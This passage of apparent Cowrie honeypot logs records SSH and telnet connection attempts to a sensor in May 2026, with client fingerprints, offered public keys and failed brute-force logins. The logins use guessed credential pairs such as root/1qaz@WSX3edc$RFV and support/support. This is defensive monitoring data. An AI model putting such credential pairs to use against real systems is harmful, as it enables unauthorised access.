cf:e3:83:44:49:58:cd:5e:78:04:94:65:6c:64:fc:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.517969Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:e3:83:44:49:58:cd:5e:78:04:94:65:6c:64:fc:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvWHplDLEVgsHB3JGjlSNWHEk9nLD+wxDLOOvqlavrw43rqv7E5LxpTlf4jh8LiHh+y30Qdub1K4dLlltQ1+bkcp7YsXQ9r7+a3+ABJB2csDg0ZwamdeTqutQth6Agn7YXha4eFvuHe9Vwu8r39dDxbamhKssn1yOtXwbi4Y0cHnhJVmcAXiylZIARvCNG1pV1k8venuiZsjOuecY9hj52Ar8x1G7lg97fNJylgUn6o/fgr3bYD2gAiDvvpR7GjiO93KQsHpavFTSN2H0MoE1+s582MjQmUtBnzPxYSwGEjnVSHpQPl+4TvgKi5JTvb4F9nP9atd22EmS61xamg1QYJp/NSAqxuebzSoygKqyL231lIj4zwvY/nDO7aGJMJVtxBXrntwwMnF2kwVF2pX+oZ9GBcN5gqkpNrRZuMqO6j2kyhMkN60WCVrUM/pGkFJbN7R+SV0VBki+99b0I6V4g8HrGQj9AlvePnQ6ZM4UuH4J6Sn9oZc06jxn9D57i9BM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.521814Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:86:85:0e:18:36:a8:40:84:57:f6:a2:ef:4b:4a:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwguQBe9ep81E804d15YHbvqQ80TTaaugCbkWqufiD+fRvMAaagWgNluk2adBieHlCz4/8/gFtQI+JvxP51FtmW+fQMrafjP2+BGJ92VLEkj6iBKnrw+Gw9BBy9MUmtKce3rh2JnVT+LO9L2A+jxaOgt1Q6d3d64DZj3sitUNSaiwIo8t+kXswrbCNPs9MQD/epQgHDclYKaWEs/iuz7JDlKHR98EfTwnihTvUg8u3ghBptgGreJlTTwYTYDcya5A1f/DEIJ0/76TsDFmyQoaYnJoSN1tlZyls0+qy3TMzeU/jBSeXVNNjwRvH9ZeEzGtanSPlhP90tDqxyvhzBwgN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:86:85:0e:18:36:a8:40:84:57:f6:a2:ef:4b:4a:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.675935Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:86:85:0e:18:36:a8:40:84:57:f6:a2:ef:4b:4a:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwguQBe9ep81E804d15YHbvqQ80TTaaugCbkWqufiD+fRvMAaagWgNluk2adBieHlCz4/8/gFtQI+JvxP51FtmW+fQMrafjP2+BGJ92VLEkj6iBKnrw+Gw9BBy9MUmtKce3rh2JnVT+LO9L2A+jxaOgt1Q6d3d64DZj3sitUNSaiwIo8t+kXswrbCNPs9MQD/epQgHDclYKaWEs/iuz7JDlKHR98EfTwnihTvUg8u3ghBptgGreJlTTwYTYDcya5A1f/DEIJ0/76TsDFmyQoaYnJoSN1tlZyls0+qy3TMzeU/jBSeXVNNjwRvH9ZeEzGtanSPlhP90tDqxyvhzBwgN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.679458Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:61:4a:e3:7b:d8:01:40:bc:e6:7e:19:7e:b6:28:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvLsbZksdjDRIrUFBA6Oz/bEppoCpQPnksuhq+qed/b7BEmI6r5n5vObCpZmh8fn+Xv0VlYotP/to3/Idnyxfh3h/G4TWBZl54IRbUyH7TVQRAt8IR6e8GZ8lVKWnHUjQbU5RGzjSpMh6mcKU6zxry2kr1FRQC3iUFGFABIagpW8OcG0T563Eq9bwzfythuNJfkjE022V8bhm6xq5slSRJGRNWep/znyCemet1lIQBpl3MEBtLJUxlYzyQy/lda/GaxalAxZ19eHXIemf4T42Erl05s380bPfdDM8lkKu63IwfPiRk+8htGyuMmGzaKFIs3+15uJb59J7pl6+YtWGXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:61:4a:e3:7b:d8:01:40:bc:e6:7e:19:7e:b6:28:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.707108Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:61:4a:e3:7b:d8:01:40:bc:e6:7e:19:7e:b6:28:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvLsbZksdjDRIrUFBA6Oz/bEppoCpQPnksuhq+qed/b7BEmI6r5n5vObCpZmh8fn+Xv0VlYotP/to3/Idnyxfh3h/G4TWBZl54IRbUyH7TVQRAt8IR6e8GZ8lVKWnHUjQbU5RGzjSpMh6mcKU6zxry2kr1FRQC3iUFGFABIagpW8OcG0T563Eq9bwzfythuNJfkjE022V8bhm6xq5slSRJGRNWep/znyCemet1lIQBpl3MEBtLJUxlYzyQy/lda/GaxalAxZ19eHXIemf4T42Erl05s380bPfdDM8lkKu63IwfPiRk+8htGyuMmGzaKFIs3+15uJb59J7pl6+YtWGXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.710810Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:a4:f4:2d:59:2e:26:cd:84:03:cf:db:ea:4a:cf:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3/s/aGbwnV30oC29NAnW4JGTzqwgkk1gALKGiIIRbTtEnHYAe/Az6uclV20TR3taD3Ham4sxpeiBksL8qGs5FkZ47bhqH+QdHAzL1e7OsMwfPrmxIh9ZNmCYO+ZNxjxMzyISeoxkY7kYD7I9Oxe1VZEnpUn0/Mk16yDo46RBCDMRY0YmIsK8hnHqGVXe7axtW0XdxT5ngE1a5mrvpkIq5uWvVDkeTJsOK98E5ZAKpHyBN5l/rnPedU9duKnJmnuWXvYol6nskgx6bsxAp8u4L2Bm6UgkyNBffVrpvzHf+v9lnGvxq9e3xRoJVzcz0NTMp+Hnq+Vrw8oe4mavxiFs/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:a4:f4:2d:59:2e:26:cd:84:03:cf:db:ea:4a:cf:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.739926Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:a4:f4:2d:59:2e:26:cd:84:03:cf:db:ea:4a:cf:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3/s/aGbwnV30oC29NAnW4JGTzqwgkk1gALKGiIIRbTtEnHYAe/Az6uclV20TR3taD3Ham4sxpeiBksL8qGs5FkZ47bhqH+QdHAzL1e7OsMwfPrmxIh9ZNmCYO+ZNxjxMzyISeoxkY7kYD7I9Oxe1VZEnpUn0/Mk16yDo46RBCDMRY0YmIsK8hnHqGVXe7axtW0XdxT5ngE1a5mrvpkIq5uWvVDkeTJsOK98E5ZAKpHyBN5l/rnPedU9duKnJmnuWXvYol6nskgx6bsxAp8u4L2Bm6UgkyNBffVrpvzHf+v9lnGvxq9e3xRoJVzcz0NTMp+Hnq+Vrw8oe4mavxiFs/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.743400Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.771466Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.154.91.70","src_port":47226,"dst_ip":"10.17.0.5","dst_port":23,"session":"0086cbcec6d9","protocol":"telnet","message":"New connection: 105.154.91.70:47226 (10.17.0.5:23) [session: 0086cbcec6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:05.307364Z"}
{"eventid":"cowrie.session.closed","duration":12.507858753204346,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:17.815112Z","src_ip":"105.154.91.70","session":"0086cbcec6d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55852,"dst_ip":"10.17.0.5","dst_port":22,"session":"2072a2f98ed9","protocol":"ssh","message":"New connection: 103.15.226.202:55852 (10.17.0.5:22) [session: 2072a2f98ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:49.728522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:49.733068Z","src_ip":"103.15.226.202","session":"2072a2f98ed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:49.983163Z","src_ip":"103.15.226.202","session":"2072a2f98ed9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV","message":"login attempt [root/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:50.733615Z","src_ip":"103.15.226.202","session":"2072a2f98ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:28:51.987129Z","src_ip":"103.15.226.202","session":"2072a2f98ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":47398,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eaa69d31b52","protocol":"ssh","message":"New connection: 2.57.121.112:47398 (10.17.0.5:22) [session: 8eaa69d31b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:10.685531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:10.690569Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:10.795403Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"naughtyboy","message":"login attempt [admin/naughtyboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:11.274017Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":57674,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6bba2c75a6","protocol":"ssh","message":"New connection: 27.74.248.52:57674 (10.17.0.5:22) [session: 2a6bba2c75a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:12.032134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:12.037108Z","src_ip":"27.74.248.52","session":"2a6bba2c75a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nascar20","message":"login attempt [admin/nascar20] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:12.378341Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:12.492762Z","src_ip":"27.74.248.52","session":"2a6bba2c75a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nantes","message":"login attempt [admin/nantes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:13.482947Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:14.507624Z","src_ip":"27.74.248.52","session":"2a6bba2c75a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nando","message":"login attempt [admin/nando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:14.587965Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"namibia","message":"login attempt [admin/namibia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:15.692283Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:15.965792Z","src_ip":"27.74.248.52","session":"2a6bba2c75a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:16.801702Z","src_ip":"2.57.121.112","session":"8eaa69d31b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44294,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbfccdc39c84","protocol":"ssh","message":"New connection: 103.15.226.202:44294 (10.17.0.5:22) [session: dbfccdc39c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:23.777038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:23.781659Z","src_ip":"103.15.226.202","session":"dbfccdc39c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:24.036412Z","src_ip":"103.15.226.202","session":"dbfccdc39c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell@123","message":"login attempt [root/dell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:24.790036Z","src_ip":"103.15.226.202","session":"dbfccdc39c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:32:26.040596Z","src_ip":"103.15.226.202","session":"dbfccdc39c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":17064,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec5d0a4b438b","protocol":"ssh","message":"New connection: 31.57.216.33:17064 (159.203.135.109:22) [session: ec5d0a4b438b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:39.819347Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:39.823124Z","src_ip":"31.57.216.33","session":"ec5d0a4b438b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":17072,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcec67ed896a","protocol":"ssh","message":"New connection: 31.57.216.33:17072 (159.203.135.109:22) [session: bcec67ed896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:40.052335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:40.057715Z","src_ip":"31.57.216.33","session":"bcec67ed896a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:40.165766Z","src_ip":"31.57.216.33","session":"bcec67ed896a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:40.515609Z","src_ip":"31.57.216.33","session":"bcec67ed896a","protocol":"ssh"}
